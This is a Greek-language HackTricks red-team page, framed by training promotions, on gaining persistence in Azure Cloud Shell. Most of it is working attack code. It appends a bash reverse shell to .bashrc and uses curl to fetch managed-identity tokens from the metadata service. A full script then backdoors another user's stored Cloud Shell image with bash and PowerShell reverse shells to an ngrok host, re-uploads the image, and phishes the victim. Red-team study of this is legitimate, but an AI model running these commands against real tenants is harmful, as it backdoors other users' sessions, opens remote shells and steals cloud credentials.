Az - Cloud Shell Persistence

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Cloud Shell Persistence

Το Azure Cloud Shell προσφέρει πρόσβαση μέσω γραμμής εντολών για τη διαχείριση πόρων Azure με μόνιμη αποθήκευση και αυτόματη πιστοποίηση. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το χαρακτηριστικό τοποθετώντας backdoors στον μόνιμο κατάλογο αρχικής:

  • Persistent Storage: Ο κατάλογος αρχικής του Azure Cloud Shell είναι τοποθετημένος σε ένα Azure file share και παραμένει ανέπαφος ακόμη και μετά την ολοκλήρωση της συνεδρίας.
  • Startup Scripts: Αρχεία όπως το .bashrc ή το config/PowerShell/Microsoft.PowerShell_profile.ps1 εκτελούνται αυτόματα στην αρχή κάθε συνεδρίας, επιτρέποντας τη μόνιμη εκτέλεση όταν ξεκινά το cloud shell.

Example backdoor in .bashrc:

echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc

Αυτή η πίσω πόρτα μπορεί να εκτελεί εντολές ακόμη και 5 λεπτά μετά την ολοκλήρωση του cloud shell από τον χρήστη.

Επιπλέον, ερωτήστε την υπηρεσία μεταδεδομένων του Azure για λεπτομέρειες και tokens της παρουσίας:

curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s

Cloud Shell Phishing

Αν ένας επιτιθέμενος βρει εικόνες άλλων χρηστών σε έναν Λογαριασμό Αποθήκευσης στον οποίο έχει δικαιώματα εγγραφής και ανάγνωσης, θα μπορέσει να κατεβάσει την εικόνα, να προσθέσει ένα bash και PS backdoor σε αυτήν, και να την ανεβάσει ξανά στον Λογαριασμό Αποθήκευσης, έτσι ώστε την επόμενη φορά που ο χρήστης θα έχει πρόσβαση στο shell, οι εντολές θα εκτελούνται αυτόματα.

  • Download, backdoor and upload the image:
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>

# Mount the image
mkdir /tmp/backdoor_img
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
cd /tmp/backdoor_img

# Create backdoor
mkdir .config
mkdir .config/PowerShell
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Unmount
cd /tmp
sudo umount /tmp/backdoor_img

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
  • Στη συνέχεια, ψαρέψτε τον χρήστη για να αποκτήσετε πρόσβαση στο https://shell.azure.com/

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks